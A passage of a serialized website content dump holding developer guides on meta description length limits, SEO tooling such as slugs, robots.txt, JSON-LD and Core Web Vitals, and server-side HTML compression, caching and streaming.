length, account for pixel width rather than raw character count. A simplified approach counts characters against the 150-character safe target:",[135,183953,183955],{"className":1607,"code":183954,"language":1609,"meta":141,"style":141},"function metaDescriptionScore(description) {\n  const length = description.length\n  if (length === 0) return { status: 'missing', message: 'No description provided' }\n  if (length \u003C= 120) return { status: 'short', message: `${length} chars — room to add detail` }\n  if (length \u003C= 150) return { status: 'good', message: `${length} chars — optimal length` }\n  if (length \u003C= 160) return { status: 'long', message: `${length} chars — may truncate on mobile` }\n  return { status: 'too-long', message: `${length} chars — will be truncated` }\n}\n",[143,183956,183957,183970,183983,184012,184043,184073,184104,184124],{"__ignoreMap":141},[1560,183958,183959,183961,183964,183966,183968],{"class":1562,"line":1563},[1560,183960,8648],{"class":1669},[1560,183962,183963],{"class":1566}," metaDescriptionScore",[1560,183965,1688],{"class":1570},[1560,183967,183616],{"class":2219},[1560,183969,9345],{"class":1570},[1560,183971,183972,183974,183976,183978,183981],{"class":1562,"line":337},[1560,183973,28057],{"class":1669},[1560,183975,13742],{"class":1576},[1560,183977,8186],{"class":1669},[1560,183979,183980],{"class":1570}," description.",[1560,183982,158287],{"class":1576},[1560,183984,183985,183987,183990,183992,183994,183996,183998,184001,184004,184007,184010],{"class":1562,"line":343},[1560,183986,27984],{"class":1669},[1560,183988,183989],{"class":1570}," (length ",[1560,183991,23122],{"class":1669},[1560,183993,13541],{"class":1576},[1560,183995,1733],{"class":1570},[1560,183997,28313],{"class":1669},[1560,183999,184000],{"class":1570}," { status: ",[1560,184002,184003],{"class":5634},"'missing'",[1560,184005,184006],{"class":1570},", message: ",[1560,184008,184009],{"class":5634},"'No description provided'",[1560,184011,27879],{"class":1570},[1560,184013,184014,184016,184018,184020,184023,184025,184027,184029,184032,184034,184036,184038,184041],{"class":1562,"line":365},[1560,184015,27984],{"class":1669},[1560,184017,183989],{"class":1570},[1560,184019,22757],{"class":1669},[1560,184021,184022],{"class":1576}," 120",[1560,184024,1733],{"class":1570},[1560,184026,28313],{"class":1669},[1560,184028,184000],{"class":1570},[1560,184030,184031],{"class":5634},"'short'",[1560,184033,184006],{"class":1570},[1560,184035,9560],{"class":5634},[1560,184037,9418],{"class":1570},[1560,184039,184040],{"class":5634},"} chars — room to add detail`",[1560,184042,27879],{"class":1570},[1560,184044,184045,184047,184049,184051,184053,184055,184057,184059,184062,184064,184066,184068,184071],{"class":1562,"line":889},[1560,184046,27984],{"class":1669},[1560,184048,183989],{"class":1570},[1560,184050,22757],{"class":1669},[1560,184052,53037],{"class":1576},[1560,184054,1733],{"class":1570},[1560,184056,28313],{"class":1669},[1560,184058,184000],{"class":1570},[1560,184060,184061],{"class":5634},"'good'",[1560,184063,184006],{"class":1570},[1560,184065,9560],{"class":5634},[1560,184067,9418],{"class":1570},[1560,184069,184070],{"class":5634},"} chars — optimal length`",[1560,184072,27879],{"class":1570},[1560,184074,184075,184077,184079,184081,184084,184086,184088,184090,184093,184095,184097,184099,184102],{"class":1562,"line":1710},[1560,184076,27984],{"class":1669},[1560,184078,183989],{"class":1570},[1560,184080,22757],{"class":1669},[1560,184082,184083],{"class":1576}," 160",[1560,184085,1733],{"class":1570},[1560,184087,28313],{"class":1669},[1560,184089,184000],{"class":1570},[1560,184091,184092],{"class":5634},"'long'",[1560,184094,184006],{"class":1570},[1560,184096,9560],{"class":5634},[1560,184098,9418],{"class":1570},[1560,184100,184101],{"class":5634},"} chars — may truncate on mobile`",[1560,184103,27879],{"class":1570},[1560,184105,184106,184108,184110,184113,184115,184117,184119,184122],{"class":1562,"line":1717},[1560,184107,9350],{"class":1669},[1560,184109,184000],{"class":1570},[1560,184111,184112],{"class":5634},"'too-long'",[1560,184114,184006],{"class":1570},[1560,184116,9560],{"class":5634},[1560,184118,9418],{"class":1570},[1560,184120,184121],{"class":5634},"} chars — will be truncated`",[1560,184123,27879],{"class":1570},[1560,184125,184126],{"class":1562,"line":1747},[1560,184127,1585],{"class":1570},[16,184129,184130],{},"For pixel-accurate measurement, render the text in a hidden canvas element at the same font size Google uses, then measure the resulting width.",[11,184132,184134],{"id":184133},"open-graph-descriptions","Open Graph Descriptions",[16,184136,184137,184138,184141,184142,184144],{},"While ",[143,184139,184140],{},"meta name=\"description\""," serves search engines, ",[143,184143,161143],{}," serves social media platforms. These have different display constraints:",[193,184146,184147,184158],{},[196,184148,184149],{},[199,184150,184151,184153,184156],{},[202,184152,23888],{},[202,184154,184155],{},"Description Limit",[202,184157,2683],{},[211,184159,184160,184170,184181,184190],{},[199,184161,184162,184164,184167],{},[216,184163,23962],{},[216,184165,184166],{},"~300 characters",[216,184168,184169],{},"Truncates with \"See More\"",[199,184171,184172,184175,184178],{},[216,184173,184174],{},"Twitter\u002FX",[216,184176,184177],{},"~200 characters",[216,184179,184180],{},"Similar to Facebook",[199,184182,184183,184185,184187],{},[216,184184,23941],{},[216,184186,182909],{},[216,184188,184189],{},"Stricter truncation",[199,184191,184192,184194,184196],{},[216,184193,98464],{},[216,184195,184166],{},[216,184197,184198],{},"Shows in link unfurling",[16,184200,184201,184202,184204],{},"Write a distinct ",[143,184203,161143],{}," when your search description does not work well for social sharing. Search descriptions focus on keyword relevance; social descriptions focus on curiosity and engagement.",[11,184206,1355],{"id":1354},[41,184208,184209,184212,184215,184218,184221,184224],{},[44,184210,184211],{},"Target 120–150 characters to ensure full display on both mobile and desktop",[44,184213,184214],{},"Put the most important information in the first 120 characters",[44,184216,184217],{},"Google rewrites descriptions 60–70% of the time — write specific, relevant descriptions to reduce rewrites",[44,184219,184220],{},"Structure descriptions as: what it is + key benefit + call to action",[44,184222,184223],{},"Avoid quotation marks (they cause truncation), keyword stuffing, and duplicate descriptions",[44,184225,184226,184227,184229],{},"Write separate ",[143,184228,161143],{}," tags for social media sharing when needed",[11,184231,321],{"id":320},[41,184233,184234,184239,184244],{},[44,184235,184236],{},[98,184237,184238],{"href":24515},"Character Counting Guide: Measuring Text Length Accurately",[44,184240,184241],{},[98,184242,184243],{"href":24458},"Word Count Best Practices for Writers and Editors",[44,184245,184246],{},[98,184247,184248],{"href":24464},"Text Length Limits: Character Counts Across Platforms",[11,184250,286],{"id":285},[16,184252,184253,184254,184257],{},"Check your meta description length and quality with our free ",[98,184255,184256],{"href":24487},"Character Counter",". Paste your description, see the character count, and ensure it stays within the optimal 120–150 character range for SEO.",[2043,184259,184260],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":184262},[184263,184264,184265,184266,184267,184268,184269,184270],{"id":183732,"depth":337,"text":183733},{"id":183800,"depth":337,"text":183801},{"id":183836,"depth":337,"text":183837},{"id":183947,"depth":337,"text":183948},{"id":184133,"depth":337,"text":184134},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn the real character limits for meta descriptions in 2025 — how Google truncates, when it rewrites, and how to write descriptions that earn clicks.",{"immutable":363},"\u002Fguides\u002Fseo-meta-description-character-limits",{"title":183724,"description":184271},"guides\u002Fseo-meta-description-character-limits","bVVRqKxyNQLP2j8KSCQPai9Pa3tuLzsrhSKlqSATJIg",{"id":184278,"title":152853,"body":184279,"date":2070,"description":184953,"extension":361,"meta":184954,"navigation":363,"path":152852,"readingTime":1747,"seo":184955,"stem":184956,"__hash__":184957},"guides\u002Fguides\u002Fseo-tools-for-developers.md",{"type":8,"value":184280,"toc":184934},[184281,184285,184288,184291,184295,184298,184303,184320,184329,184334,184338,184341,184345,184348,184354,184359,184362,184370,184374,184377,184382,184386,184389,184393,184396,184401,184419,184423,184426,184432,184437,184441,184444,184449,184460,184465,184545,184672,184681,184685,184688,184747,184752,184775,184783,184787,184873,184876,184878,184898,184900,184903,184920,184922,184932],[11,184282,184284],{"id":184283},"why-developers-need-seo-tools","Why Developers Need SEO Tools",[16,184286,184287],{},"SEO is not just for marketers. Developers build the infrastructure that search engines crawl, index, and rank. A misconfigured canonical tag, a slow page load, or a broken robots.txt file can undo months of content strategy.",[16,184289,184290],{},"As a developer, you control the technical foundation that makes SEO work. The right tools help you catch issues early, automate repetitive tasks, and verify that your implementation matches best practices — before it hits production.",[11,184292,184294],{"id":184293},"meta-tag-generation","Meta Tag Generation",[16,184296,184297],{},"Meta tags are the first thing search engines read on every page. Getting them right across hundreds of pages requires tooling, not manual editing.",[16,184299,184300],{},[47,184301,184302],{},"What to generate:",[41,184304,184305,184308,184311,184314,184317],{},[44,184306,184307],{},"Title tags — unique, keyword-rich, under 60 characters",[44,184309,184310],{},"Meta descriptions — compelling summaries under 150 characters",[44,184312,184313],{},"Open Graph tags — control social sharing previews",[44,184315,184316],{},"Twitter Card tags — optimize links shared on X\u002FTwitter",[44,184318,184319],{},"Robots directives — manage crawl budgets on non-essential pages",[16,184321,184322,184325,184326,184328],{},[47,184323,184324],{},"Why use a generator:"," Manual meta tag writing is error-prone. A typo in ",[143,184327,161156],{}," or a missing closing quote breaks your preview silently. Generators produce valid HTML every time and enforce character limits automatically.",[16,184330,126606,184331,184333],{},[98,184332,152836],{"href":152835}," to create all these tags in one place with a live search snippet preview.",[11,184335,184337],{"id":184336},"url-optimization","URL Optimization",[16,184339,184340],{},"Clean URLs rank better and earn more clicks. Three tools cover the most common URL optimization tasks:",[33,184342,184344],{"id":184343},"slug-generation","Slug Generation",[16,184346,184347],{},"Turn headings into URL-safe slugs. Good slugs are lowercase, hyphen-separated, and contain your target keyword.",[135,184349,184352],{"className":184350,"code":184351,"language":140},[138],"\"My Blog Post About JSON Formatting!\" → \"my-blog-post-about-json-formatting\"\n",[143,184353,184351],{"__ignoreMap":141},[16,184355,18550,184356,184358],{},[98,184357,156905],{"href":156904}," to automate slug creation from any title — it handles Unicode, special characters, and stop-word removal.",[33,184360,86920],{"id":184361},"url-encoding",[16,184363,184364,184365,84133,184367,184369],{},"Build safe query strings by encoding reserved characters. Spaces become ",[143,184366,34150],{},[143,184368,84136],{},", and your API calls stop breaking on special input.",[33,184371,184373],{"id":184372},"url-parsing","URL Parsing",[16,184375,184376],{},"Break down any URL into its protocol, host, path, query parameters, and fragment. Essential for debugging redirect chains, validating parameter values, and auditing site structure.",[16,184378,18550,184379,184381],{},[98,184380,99078],{"href":99077}," to decompose URLs instantly and inspect every component.",[11,184383,184385],{"id":184384},"sitemap-and-robotstxt","Sitemap and Robots.txt",[16,184387,184388],{},"Search engines need a roadmap to crawl your site efficiently.",[33,184390,184392],{"id":184391},"xml-sitemaps","XML Sitemaps",[16,184394,184395],{},"A sitemap lists every important URL on your site along with metadata like last modification date and priority. Without one, crawlers discover pages through internal links alone — which may miss isolated or deeply nested content.",[16,184397,184398],{},[47,184399,184400],{},"Best practices:",[41,184402,184403,184406,184409,184416],{},[44,184404,184405],{},"Include only canonical URLs — no duplicates or redirects",[44,184407,184408],{},"Keep the file under 50,000 URLs (split into multiple sitemaps if needed)",[44,184410,184411,184412,184415],{},"Reference your sitemap in ",[143,184413,184414],{},"robots.txt"," for automatic discovery",[44,184417,184418],{},"Auto-generate sitemaps at build time for static sites",[33,184420,184422],{"id":184421},"robotstxt","Robots.txt",[16,184424,184425],{},"This file tells crawlers which paths to avoid. Common directives:",[135,184427,184430],{"className":184428,"code":184429,"language":140},[138],"User-agent: *\nAllow: \u002F\nDisallow: \u002Fadmin\u002F\nDisallow: \u002Fapi\u002F\nSitemap: https:\u002F\u002Fexample.com\u002Fsitemap.xml\n",[143,184431,184429],{"__ignoreMap":141},[16,184433,184434,184436],{},[47,184435,175170],{}," Blocking CSS and JS files in robots.txt. Google needs to render these resources to understand your page layout. Blocking them can harm your rankings.",[11,184438,184440],{"id":184439},"structured-data-json-ld","Structured Data (JSON-LD)",[16,184442,184443],{},"Structured data adds machine-readable context to your pages. Google uses it to generate rich results — star ratings, FAQ dropdowns, recipe cards, and more.",[16,184445,184446],{},[47,184447,184448],{},"Why JSON-LD over Microdata:",[41,184450,184451,184454,184457],{},[44,184452,184453],{},"Separate from HTML — easier to maintain and validate",[44,184455,184456],{},"Google recommends it as the preferred format",[44,184458,184459],{},"Works with templating systems without cluttering markup",[16,184461,184462],{},[47,184463,184464],{},"Common schema types for developers:",[193,184466,184467,184479],{},[196,184468,184469],{},[199,184470,184471,184474,184476],{},[202,184472,184473],{},"Schema Type",[202,184475,1775],{},[202,184477,184478],{},"Rich Result",[211,184480,184481,184494,184507,184520,184533],{},[199,184482,184483,184488,184491],{},[216,184484,184485],{},[143,184486,184487],{},"WebApplication",[216,184489,184490],{},"Tool pages",[216,184492,184493],{},"Software rich card",[199,184495,184496,184501,184504],{},[216,184497,184498],{},[143,184499,184500],{},"FAQPage",[216,184502,184503],{},"FAQ sections",[216,184505,184506],{},"Expandable Q&A in results",[199,184508,184509,184514,184517],{},[216,184510,184511],{},[143,184512,184513],{},"HowTo",[216,184515,184516],{},"Step-by-step guides",[216,184518,184519],{},"Step listing",[199,184521,184522,184527,184530],{},[216,184523,184524],{},[143,184525,184526],{},"Article",[216,184528,184529],{},"Blog posts",[216,184531,184532],{},"Article rich card",[199,184534,184535,184540,184542],{},[216,184536,184537],{},[143,184538,184539],{},"BreadcrumbList",[216,184541,155451],{},[216,184543,184544],{},"Breadcrumb trail",[135,184546,184548],{"className":23484,"code":184547,"language":23486,"meta":141,"style":141},"{\n  \"@context\": \"https:\u002F\u002Fschema.org\",\n  \"@type\": \"WebApplication\",\n  \"name\": \"JSON Formatter\",\n  \"url\": \"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter\",\n  \"applicationCategory\": \"DeveloperApplication\",\n  \"operatingSystem\": \"Any\",\n  \"offers\": {\n    \"@type\": \"Offer\",\n    \"price\": \"0\",\n    \"priceCurrency\": \"USD\"\n  }\n}\n",[143,184549,184550,184554,184566,184578,184589,184600,184612,184624,184631,184643,184654,184664,184668],{"__ignoreMap":141},[1560,184551,184552],{"class":1562,"line":1563},[1560,184553,23493],{"class":1570},[1560,184555,184556,184559,184561,184564],{"class":1562,"line":337},[1560,184557,184558],{"class":1576},"  \"@context\"",[1560,184560,1663],{"class":1570},[1560,184562,184563],{"class":5634},"\"https:\u002F\u002Fschema.org\"",[1560,184565,11943],{"class":1570},[1560,184567,184568,184571,184573,184576],{"class":1562,"line":343},[1560,184569,184570],{"class":1576},"  \"@type\"",[1560,184572,1663],{"class":1570},[1560,184574,184575],{"class":5634},"\"WebApplication\"",[1560,184577,11943],{"class":1570},[1560,184579,184580,184582,184584,184587],{"class":1562,"line":365},[1560,184581,80877],{"class":1576},[1560,184583,1663],{"class":1570},[1560,184585,184586],{"class":5634},"\"JSON Formatter\"",[1560,184588,11943],{"class":1570},[1560,184590,184591,184594,184596,184598],{"class":1562,"line":889},[1560,184592,184593],{"class":1576},"  \"url\"",[1560,184595,1663],{"class":1570},[1560,184597,161269],{"class":5634},[1560,184599,11943],{"class":1570},[1560,184601,184602,184605,184607,184610],{"class":1562,"line":1710},[1560,184603,184604],{"class":1576},"  \"applicationCategory\"",[1560,184606,1663],{"class":1570},[1560,184608,184609],{"class":5634},"\"DeveloperApplication\"",[1560,184611,11943],{"class":1570},[1560,184613,184614,184617,184619,184622],{"class":1562,"line":1717},[1560,184615,184616],{"class":1576},"  \"operatingSystem\"",[1560,184618,1663],{"class":1570},[1560,184620,184621],{"class":5634},"\"Any\"",[1560,184623,11943],{"class":1570},[1560,184625,184626,184629],{"class":1562,"line":1747},[1560,184627,184628],{"class":1576},"  \"offers\"",[1560,184630,37098],{"class":1570},[1560,184632,184633,184636,184638,184641],{"class":1562,"line":2507},[1560,184634,184635],{"class":1576},"    \"@type\"",[1560,184637,1663],{"class":1570},[1560,184639,184640],{"class":5634},"\"Offer\"",[1560,184642,11943],{"class":1570},[1560,184644,184645,184648,184650,184652],{"class":1562,"line":2524},[1560,184646,184647],{"class":1576},"    \"price\"",[1560,184649,1663],{"class":1570},[1560,184651,126292],{"class":5634},[1560,184653,11943],{"class":1570},[1560,184655,184656,184659,184661],{"class":1562,"line":2529},[1560,184657,184658],{"class":1576},"    \"priceCurrency\"",[1560,184660,1663],{"class":1570},[1560,184662,184663],{"class":5634},"\"USD\"\n",[1560,184665,184666],{"class":1562,"line":2534},[1560,184667,4959],{"class":1570},[1560,184669,184670],{"class":1562,"line":2542},[1560,184671,1585],{"class":1570},[16,184673,184674,184675,184680],{},"Validate your JSON-LD with Google's ",[98,184676,184679],{"href":184677,"rel":184678},"https:\u002F\u002Fsearch.google.com\u002Ftest\u002Frich-results",[14956],"Rich Results Test"," before deploying.",[11,184682,184684],{"id":184683},"performance-and-core-web-vitals","Performance and Core Web Vitals",[16,184686,184687],{},"Google uses Core Web Vitals as ranking signals. These metrics measure real user experience:",[193,184689,184690,184704],{},[196,184691,184692],{},[199,184693,184694,184696,184698,184701],{},[202,184695,15609],{},[202,184697,54155],{},[202,184699,184700],{},"Good Score",[202,184702,184703],{},"Poor Score",[211,184705,184706,184720,184734],{},[199,184707,184708,184711,184714,184717],{},[216,184709,184710],{},"LCP (Largest Contentful Paint)",[216,184712,184713],{},"Loading speed",[216,184715,184716],{},"≤ 2.5s",[216,184718,184719],{},"> 4.0s",[199,184721,184722,184725,184728,184731],{},[216,184723,184724],{},"INP (Interaction to Next Paint)",[216,184726,184727],{},"Interactivity",[216,184729,184730],{},"≤ 200ms",[216,184732,184733],{},"> 500ms",[199,184735,184736,184739,184741,184744],{},[216,184737,184738],{},"CLS (Cumulative Layout Shift)",[216,184740,69479],{},[216,184742,184743],{},"≤ 0.1",[216,184745,184746],{},"> 0.25",[16,184748,184749],{},[47,184750,184751],{},"Developer actions that improve scores:",[41,184753,184754,184757,184763,184766,184772],{},[44,184755,184756],{},"Lazy-load images and offscreen components",[44,184758,184759,184760],{},"Preload critical fonts and hero images with ",[143,184761,184762],{},"\u003Clink rel=\"preload\">",[44,184764,184765],{},"Minify CSS, JS, and HTML to reduce transfer size",[44,184767,1388,184768,184771],{},[143,184769,184770],{},"font-display: swap"," to prevent invisible text during font load",[44,184773,184774],{},"Set explicit width and height on images and embeds to prevent layout shift",[16,184776,35185,184777,184782],{},[98,184778,184781],{"href":184779,"rel":184780},"https:\u002F\u002Fpagespeed.web.dev\u002F",[14956],"PageSpeed Insights"," and Lighthouse in Chrome DevTools give you actionable audits for each metric.",[11,184784,184786],{"id":184785},"tool-comparison","Tool Comparison",[193,184788,184789,184802],{},[196,184790,184791],{},[199,184792,184793,184795,184797,184800],{},[202,184794,748],{},[202,184796,124118],{},[202,184798,184799],{},"Tool-Assisted",[202,184801,106374],{},[211,184803,184804,184818,184832,184845,184859],{},[199,184805,184806,184809,184812,184815],{},[216,184807,184808],{},"Write meta tags",[216,184810,184811],{},"Error-prone, slow",[216,184813,184814],{},"Valid HTML, enforced limits",[216,184816,184817],{},"10× faster, zero typos",[199,184819,184820,184823,184826,184829],{},[216,184821,184822],{},"Generate slugs",[216,184824,184825],{},"Manual regex, inconsistent",[216,184827,184828],{},"Consistent rules, Unicode support",[216,184830,184831],{},"Predictable URLs",[199,184833,184834,184837,184840,184843],{},[216,184835,184836],{},"Build sitemaps",[216,184838,184839],{},"Hand-edited XML",[216,184841,184842],{},"Auto-generated at build",[216,184844,85975],{},[199,184846,184847,184850,184853,184856],{},[216,184848,184849],{},"Create JSON-LD",[216,184851,184852],{},"Manual JSON editing",[216,184854,184855],{},"Schema-validated output",[216,184857,184858],{},"Fewer invalid markups",[199,184860,184861,184864,184867,184870],{},[216,184862,184863],{},"Audit performance",[216,184865,184866],{},"Guesswork",[216,184868,184869],{},"Lighthouse + field data",[216,184871,184872],{},"Data-driven fixes",[16,184874,184875],{},"The pattern is clear: tools catch mistakes that manual processes miss, and they do it faster.",[11,184877,1355],{"id":1354},[41,184879,184880,184883,184886,184889,184892,184895],{},[44,184881,184882],{},"Technical SEO is a developer responsibility — meta tags, URLs, sitemaps, and structured data all live in code",[44,184884,184885],{},"Use a meta tag generator to enforce character limits and produce valid HTML every time",[44,184887,184888],{},"Clean slugs and parsed URLs improve crawl efficiency and click-through rates",[44,184890,184891],{},"Auto-generate sitemaps and keep robots.txt permissive for CSS\u002FJS resources",[44,184893,184894],{},"Add JSON-LD structured data to qualify for rich results in search",[44,184896,184897],{},"Monitor Core Web Vitals continuously — LCP, INP, and CLS directly affect rankings",[11,184899,286],{"id":285},[16,184901,184902],{},"Speed up your SEO workflow with these free developer tools:",[41,184904,184905,184910,184915],{},[44,184906,184907,184909],{},[98,184908,152836],{"href":152835}," — create title, description, OG, and Twitter Card tags with a live snippet preview",[44,184911,184912,184914],{},[98,184913,156905],{"href":156904}," — convert any heading into a clean, URL-safe slug",[44,184916,184917,184919],{},[98,184918,99078],{"href":99077}," — break down any URL into its components for debugging and auditing",[11,184921,321],{"id":320},[41,184923,184924,184928],{},[44,184925,184926],{},[98,184927,152262],{"href":152871},[44,184929,184930],{},[98,184931,152847],{"href":152846},[2043,184933,23838],{},{"title":141,"searchDepth":337,"depth":337,"links":184935},[184936,184937,184938,184943,184947,184948,184949,184950,184951,184952],{"id":184283,"depth":337,"text":184284},{"id":184293,"depth":337,"text":184294},{"id":184336,"depth":337,"text":184337,"children":184939},[184940,184941,184942],{"id":184343,"depth":343,"text":184344},{"id":184361,"depth":343,"text":86920},{"id":184372,"depth":343,"text":184373},{"id":184384,"depth":337,"text":184385,"children":184944},[184945,184946],{"id":184391,"depth":343,"text":184392},{"id":184421,"depth":343,"text":184422},{"id":184439,"depth":337,"text":184440},{"id":184683,"depth":337,"text":184684},{"id":184785,"depth":337,"text":184786},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Essential SEO tools every developer should use — from meta tag generators to sitemap builders and URL optimizers.",{"immutable":363},{"title":152853,"description":184953},"guides\u002Fseo-tools-for-developers","q5Bsp9W6S-Qs0gaXd0bPOEEohi5KLztQeNYgMbzBznY",{"id":184959,"title":184960,"body":184961,"date":2070,"description":185388,"extension":361,"meta":185389,"navigation":363,"path":185390,"readingTime":1717,"seo":185391,"stem":185392,"__hash__":185393},"guides\u002Fguides\u002Fserver-side-html-optimization.md","Server-Side HTML Optimization: From Compression to Caching",{"type":8,"value":184962,"toc":185377},[184963,184966,184970,184973,185025,185028,185058,185061,185065,185068,185073,185084,185091,185096,185105,185116,185119,185143,185147,185150,185152,185166,185169,185173,185176,185179,185208,185211,185215,185218,185275,185278,185282,185288,185322,185325,185327,185350,185352,185367,185369,185375],[16,184964,184965],{},"Server-side HTML optimization covers every technique that reduces the time between a user's request and the moment the browser receives a complete HTML response. Unlike client-side optimizations that run in the browser, these strategies operate on your server, CDN, or edge network — shrinking response size, cutting Time to First Byte (TTFB), and minimizing redundant work.",[11,184967,184969],{"id":184968},"compression-the-biggest-win","Compression: The Biggest Win",[16,184971,184972],{},"Enabling gzip or Brotli compression is the single most impactful server-side optimization. Most HTML files are highly compressible because they contain repetitive tags and attributes.",[193,184974,184975,184989],{},[196,184976,184977],{},[199,184978,184979,184981,184984,184987],{},[202,184980,6081],{},[202,184982,184983],{},"Compression Ratio",[202,184985,184986],{},"CPU Cost",[202,184988,5512],{},[211,184990,184991,185002,185013],{},[199,184992,184993,184995,184998,185000],{},[216,184994,133729],{},[216,184996,184997],{},"70–75%",[216,184999,15466],{},[216,185001,5921],{},[199,185003,185004,185006,185009,185011],{},[216,185005,133737],{},[216,185007,185008],{},"78–83%",[216,185010,15457],{},[216,185012,87446],{},[199,185014,185015,185018,185021,185023],{},[216,185016,185017],{},"Zstd (level 3)",[216,185019,185020],{},"76–82%",[216,185022,36949],{},[216,185024,125999],{},[16,185026,185027],{},"For dynamic HTML generated on each request, use moderate compression levels (4–6) to balance CPU usage and file size. For static HTML, pre-compress at build time using the highest levels — there is no runtime cost.",[135,185029,185031],{"className":27337,"code":185030,"language":26869,"meta":141,"style":141},"# Nginx: enable gzip for HTML\ngzip on;\ngzip_types text\u002Fhtml;\ngzip_min_length 1024;\ngzip_comp_level 6;\n",[143,185032,185033,185038,185043,185048,185053],{"__ignoreMap":141},[1560,185034,185035],{"class":1562,"line":1563},[1560,185036,185037],{},"# Nginx: enable gzip for HTML\n",[1560,185039,185040],{"class":1562,"line":337},[1560,185041,185042],{},"gzip on;\n",[1560,185044,185045],{"class":1562,"line":343},[1560,185046,185047],{},"gzip_types text\u002Fhtml;\n",[1560,185049,185050],{"class":1562,"line":365},[1560,185051,185052],{},"gzip_min_length 1024;\n",[1560,185054,185055],{"class":1562,"line":889},[1560,185056,185057],{},"gzip_comp_level 6;\n",[16,185059,185060],{},"Most CDNs enable compression automatically. If you manage your own server, gzip should be the first line in your optimization checklist — before minification, before caching, before anything else.",[11,185062,185064],{"id":185063},"http-caching-headers","HTTP Caching Headers",[16,185066,185067],{},"Caching prevents the server from re-generating or re-sending HTML that has not changed. The right headers depend on whether your pages are static or dynamic.",[16,185069,185070],{},[47,185071,185072],{},"Static pages (SSG):",[135,185074,185078],{"className":185075,"code":185076,"language":185077,"meta":141,"style":141},"language-http shiki shiki-themes github-light github-dark","Cache-Control: public, max-age=31536000, immutable\n","http",[143,185079,185080],{"__ignoreMap":141},[1560,185081,185082],{"class":1562,"line":1563},[1560,185083,185076],{},[16,185085,185086,185087,185090],{},"These pages never change between deployments. The ",[143,185088,185089],{},"immutable"," flag tells the browser to skip conditional.requests — zero network round-trips on repeat visits.",[16,185092,185093],{},[47,185094,185095],{},"Dynamic pages (SSR):",[135,185097,185099],{"className":185075,"code":185098,"language":185077,"meta":141,"style":141},"Cache-Control: public, max-age=0, s-maxage=3600, stale-while-revalidate=86400\n",[143,185100,185101],{"__ignoreMap":141},[1560,185102,185103],{"class":1562,"line":1563},[1560,185104,185098],{},[16,185106,185107,185108,185111,185112,185115],{},"The CDN caches the response for one hour (",[143,185109,185110],{},"s-maxage","). After that, it serves the stale version while fetching a fresh copy in the background (",[143,185113,185114],{},"stale-while-revalidate","). Users always get a fast response.",[16,185117,185118],{},"Common caching mistakes:",[41,185120,185121,185128,185137],{},[44,185122,185123,185127],{},[47,185124,44890,185125],{},[143,185126,124154],{}," — caches may serve gzip content to browsers that requested uncompressed HTML",[44,185129,185130,185136],{},[47,185131,185132,185133],{},"Overly short ",[143,185134,185135],{},"max-age"," — reconsider whether your content truly changes every few minutes",[44,185138,185139,185142],{},[47,185140,185141],{},"No cache invalidation strategy"," — when content updates, you need a way to purge stale entries",[11,185144,185146],{"id":185145},"html-minification-at-the-server","HTML Minification at the Server",[16,185148,185149],{},"For server-rendered apps (Next.js, Nuxt, Express), HTML is generated dynamically and often retains template indentation and whitespace. Minifying this output reduces the response body by 15–35%.",[16,185151,81872],{},[77,185153,185154,185160],{},[44,185155,185156,185159],{},[47,185157,185158],{},"Middleware minification"," — an Express\u002FNuxt middleware minifies each response before sending it. Simple but adds latency on every request.",[44,185161,185162,185165],{},[47,185163,185164],{},"CDN auto-minification"," — Cloudflare and Akamai can minify HTML at the edge. No server changes required, but adds processing time at the CDN layer.",[16,185167,185168],{},"For static sites, minify at build time instead. It is faster, more predictable, and produces identical results on every deploy.",[11,185170,185172],{"id":185171},"streaming-html-responses","Streaming HTML Responses",[16,185174,185175],{},"Traditional SSR waits for the entire page to render before sending anything. Streaming sends HTML in chunks — the browser can start parsing and rendering before the full response arrives.",[16,185177,185178],{},"Frameworks like Nuxt and Next.js support streaming out of the box:",[41,185180,185181,185194,185199],{},[44,185182,185183,185185,185186,185189,185190,185193],{},[47,185184,9617],{},": Enable with ",[143,185187,185188],{},"experimental.componentIslands"," or use ",[143,185191,185192],{},"renderResponse"," with streaming",[44,185195,185196,185198],{},[47,185197,9630],{},": App Router streams by default with Suspense boundaries",[44,185200,185201,185204,185205,185207],{},[47,185202,185203],{},"Remix",": Streams responses when you ",[143,185206,135283],{}," loader data",[16,185209,185210],{},"Streaming reduces TTFB and First Contentful Paint (FCP) because the browser receives the document head and initial shell immediately. Slow data fetching no longer blocks the entire page.",[11,185212,185214],{"id":185213},"edge-rendering","Edge Rendering",[16,185216,185217],{},"Edge rendering moves your SSR logic from a single origin server to CDN edge nodes worldwide. This cuts network latency because the HTML is generated physically closer to the user.",[193,185219,185220,185232],{},[196,185221,185222],{},[199,185223,185224,185226,185229],{},[202,185225,23888],{},[202,185227,185228],{},"Edge Runtime",[202,185230,185231],{},"Latency 